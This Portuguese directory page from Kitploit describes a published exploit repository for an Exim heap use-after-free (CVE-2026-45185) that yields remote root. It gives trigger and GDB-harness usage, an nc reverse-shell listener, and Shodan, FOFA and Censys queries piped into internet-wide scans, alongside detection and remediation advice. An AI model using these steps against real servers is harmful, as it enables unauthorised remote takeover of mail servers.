Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-45185 — Explora um use-after-free crítico de heap pré-autenticação no Exim via close_notify do TLS para obter root remoto; inclui um harness de laboratório GDB e um template de detecção Nuclei. | Kitploit
Ferramentas/GitHubGitHub/0init/cve-2026-45185
Scanners de VulnerabilidadesAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHub0init/cve-2026-45185

CVE-2026-45185

Explora um use-after-free crítico de heap pré-autenticação no Exim via close_notify do TLS para obter root remoto; inclui um harness de laboratório GDB e um template de detecção Nuclei.

Ver Repositório
há 13 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-45185 — Dead.Letter: UAF na Heap do Exim para Root Remoto

CVSS 9.8 Crítico | Exim 4.97–4.99.2 | Builds Ubuntu / GnuTLS | Não autenticado

Análise completa com trace GDB, análise passo a passo e dados de exposição global:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html


O que é

Enviar um alerta TLS close_notify enquanto o Exim está no meio da transferência do corpo BDAT faz com que tls_close() chame gnutls_deinit(), liberando a struct gnutls_session_int de 7.304 bytes. A camada de recebimento BDAT mantém um ponteiro obsoleto. Quando o loop de leitura do corpo é retomado, tls_getbuf → gnutls_record_recv desreferencia a sessão liberada — use-after-free na heap, pré-autenticação, sem necessidade de credenciais.

Corrigido no Exim 4.99.3.


Afetados

CondiçãoRequisito
Versão do Exim4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2
BuildUbuntu / Debian com GnuTLS (libgnutls28-dev)
RecursoCHUNKING anunciado no EHLO (ativado por padrão)

Alpine Linux e compilações próprias do Exim vinculadas ao OpenSSL não são afetados.


Arquivos


poc.py — Gatilho de UAF

root@kitploit:~
python3 poc.py <host> <port> <rcpt@domain>

# example
python3 poc.py mail.example.com 587 [email protected]

Se o servidor permanecer ativo após o gatilho, o caminho de UAF existe. Se ele travar, algo mudou no comportamento do tcache.


diag19_gdb.py — Harness GDB (somente laboratório)

Configuração do laboratório Docker (5 minutos)

root@kitploit:~
# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3

# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space

# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config   # choose "internet site", accept defaults

# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d

# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost

# 6. Start a listener for the reverse shell
nc -lvp 4444

Antes de executar: edite CMD em diag19_gdb.py para apontar para o IP do seu listener.
O endereço SYSTEM é resolvido dinamicamente no carregamento — nenhuma consulta manual é necessária.
Os dois endereços dentro de PostTlsCloseFin (lwr_receive_getbuf, tls_getbuf) são internos do Exim e devem corresponder ao seu build:

root@kitploit:~
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf

CVE-2026-45185.yaml — Detecção com Nuclei

root@kitploit:~
# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v

# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt

# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
  awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt

Lógica de detecção

O template executa dois estágios independentes:

  1. Fingerprint EHLO — envia EHLO e verifica todas as três condições exigidas:

    • Regex de versão 4.97–4.99.2
    • Ubuntu no banner (vínculo GnuTLS confirmado)
    • CHUNKING nas capabilities
  2. Sonda BDAT — envia BDAT 200 sem RCPT TO, verifica o 503 específico do Exim:

    root@kitploit:~
    503 valid RCPT command must precede BDAT
    

Consultas de varredura em massa

root@kitploit:~
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587

# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")

# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"

Remediação

Atualize para Exim 4.99.3 ou posterior (patch oficial).

Solução alternativa (sem caminho de exploração, sem necessidade de reiniciar para testar):

root@kitploit:~
# exim4.conf
chunking_advertise_hosts = !*

Depois, service exim4 restart.


Linha do tempo

DataEvento
2026-06-10CVE atribuído pela XBOW
2026-06-24Advisory público divulgado
2026-08-07RCE em laboratório confirmado; este write-up + PoC publicados

Referências

  • Write-up: https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
  • Advisory da XBOW: https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-45185

por @0Init

Baixar ferramenta
ArquivoFinalidade
poc.pyGatilho de UAF — apenas stdlib, sem pip. Seguro para executar contra seus próprios servidores. Alcança o caminho de UAF e para (sem payload).
diag19_gdb.pyHarness de exploração GDB — 7 breakpoints, escreve system() no chunk liberado após gnutls_deinit() retornar. Somente laboratório (exige ASLR desativado + versões de biblioteca correspondentes).
CVE-2026-45185.yamlTemplate Nuclei — detecta todas as três pré-condições via fingerprint EHLO + sonda BDAT. Detecção segura e somente leitura.